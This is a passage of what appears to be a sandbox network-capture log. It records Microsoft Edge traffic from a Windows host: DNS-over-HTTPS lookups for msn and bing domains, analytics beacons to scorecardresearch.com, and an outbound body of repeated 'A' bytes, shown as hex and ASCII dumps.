AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49947	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 0d 69 6d 67 2d 73 2d 6d 73 6e 2d 63 6f 6d 09 61 6b 61 6d 61 69 7a 65 64 03 6e 65 74 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 48 00 0c 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: img-s-msn-comakamaizednetA)HD
2025-01-15 19:16:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028338cebd4420d-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 0d 69 6d 67 2d 73 2d 6d 73 6e 2d 63 6f 6d 09 61 6b 61 6d 61 69 7a 65 64 03 6e 65 74 00 00 41 00 01 c0 0c 00 05 00 01 00 00 02 ee 00 15 05 61 31 38 33 34 05 64 73 63 67 32 06 61 6b 61 6d 61 69 c0 24 c0 3f 00 06 00 01 00 00 03 52 00 35 07 6e 30 64 73 63 67 32 c0 45 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 03 63 6f 6d 00 67 88 08 f7 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 01 3a 00 0c 01 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: img-s-msn-comakamaizednetAa1834dscg2akamai$?R5n0dscg2Ehostmasterakamaicomg):6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49948	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 0d 69 6d 67 2d 73 2d 6d 73 6e 2d 63 6f 6d 09 61 6b 61 6d 61 69 7a 65 64 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 48 00 0c 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: img-s-msn-comakamaizednet)HD
2025-01-15 19:16:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028338cee858c83-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 0d 69 6d 67 2d 73 2d 6d 73 6e 2d 63 6f 6d 09 61 6b 61 6d 61 69 7a 65 64 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 03 78 00 15 05 61 31 38 33 34 05 64 73 63 67 32 06 61 6b 61 6d 61 69 c0 24 c0 39 00 01 00 01 00 00 00 08 00 04 17 39 5a 69 c0 39 00 01 00 01 00 00 00 08 00 04 17 39 5a 6f 00 00 29 04 d0 00 00 00 00 01 5b 00 0c 01 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: img-s-msn-comakamaizednetxa1834dscg2akamai$99Zi99Zo)[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49951	108.139.47.33	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:38 UTC	925	OUT	GET /b?rn=1736968595850&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=370FFD26CB8D69B80FE6E853CA946810&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-01-15 19:16:38 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 15 Jan 2025 19:16:38 GMT Location: /b2?rn=1736968595850&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=370FFD26CB8D69B80FE6E853CA946810&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=131194da2a1242855bd247f1736968598; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=131194da2a1242855bd247f1736968598; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 db615220fdf1b471c82cd306c2f4717a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: SQZl2K8ih6IN1xqtoZGXLPcEpoe8-wum6dQMAbOyaNR8dS9nRcWU4g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49979	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 63 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 59 00 0c 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cbingcom)YU
2025-01-15 19:16:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283392cb4080da-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 01 63 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 01 1b 00 25 0a 63 2d 62 69 6e 67 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 34 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 28 00 05 00 01 00 00 00 2b 00 02 c0 33 c0 33 00 01 00 01 00 00 00 2b 00 04 cc 4f c5 ed c0 33 00 01 00 01 00 00 00 2b 00 04 0d 6b 15 ed 00 00 29 04 d0 00 00 00 00 01 4e 00 0c 01 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cbingcom%c-bing-comdual-a-0034a-msedgenet(+33+O3+k)NJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49973	108.139.47.33	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:39 UTC	1012	OUT	GET /b2?rn=1736968595850&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=370FFD26CB8D69B80FE6E853CA946810&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=131194da2a1242855bd247f1736968598; XID=131194da2a1242855bd247f1736968598
2025-01-15 19:16:39 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 15 Jan 2025 19:16:39 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 f72e244fb4f0eab694c4c73be7c5f44e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: pswrvZEkhoAkQlU56HirLwOFck55orBf061Wa6z4nOy2w7_TTm3s5Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49980	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 63 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 59 00 0c 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cbingcomA)YU
2025-01-15 19:16:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283392e84c4380-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 01 63 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 01 15 00 25 0a 63 2d 62 69 6e 67 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 34 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 3f 00 06 00 01 00 00 00 d9 00 2d 03 6e 73 31 c0 3f 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 c0 13 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 43 00 0c 01 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cbingcomA%c-bing-comdual-a-0034a-msedgenet?-ns1?msnhstmicrosoftx+"$)C?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49994	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncom)XT
2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283396e86a440b-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 54 00 21 0b 77 77 77 2d 6d 73 6e 2d 63 6f 6d 06 61 2d 30 30 30 33 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 29 00 05 00 01 00 00 00 e4 00 02 c0 35 c0 35 00 01 00 01 00 00 00 e4 00 04 cc 4f c5 cb 00 00 29 04 d0 00 00 00 00 01 61 00 0c 01 5d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncomTT!www-msn-coma-0003a-msedgenet)55O)a]

